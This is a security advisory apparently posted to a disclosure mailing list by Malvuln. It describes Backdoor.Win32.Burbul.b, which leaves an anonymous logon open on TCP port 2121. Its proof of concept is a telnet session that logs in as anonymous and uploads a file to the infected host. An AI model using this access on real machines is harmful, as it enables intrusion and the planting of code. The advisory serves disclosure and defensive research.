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Backdoor.Win32.Burbul.b / Anonymous Logon


From: malvuln <malvuln13 () gmail com>
Date: Tue, 16 Feb 2021 00:21:12 -0500

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/3ee4cb2e06eb1f7fe54c89db903f3e7a.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Burbul.b
Vulnerability: Anonymous Logon
Description: Backdoor Burbul.b listens on TCP port 2121 allowing
anonymous logon credentials to access the infected host E.g. USER
anonymous PASS anonymous.
Type: PE32
MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a
Vuln ID: MVID-2021-0093
Dropped files:
Disclosure: 02/16/2021

Exploit/PoC:
TELNET [Backdoored_Host] 2121

╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε ±≈Φ≥ασ≥σ φ≤µφ√∞...
USER anonymous
331 Password required for anonymous.
PASS anonymous
230 User anonymous logged in.
HELP
500 'HELP': command not understood.
CWD
250 CWD command successful. "C:/TEMP/" is current directory.
PASV
227 Entering Passive Mode (192,168,1,10,196,100).
STOR 1.js
150 Opening data connection for 1.js.
PASV
226 File received ok
227 Entering Passive Mode (192,168,88,128,196,101).

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information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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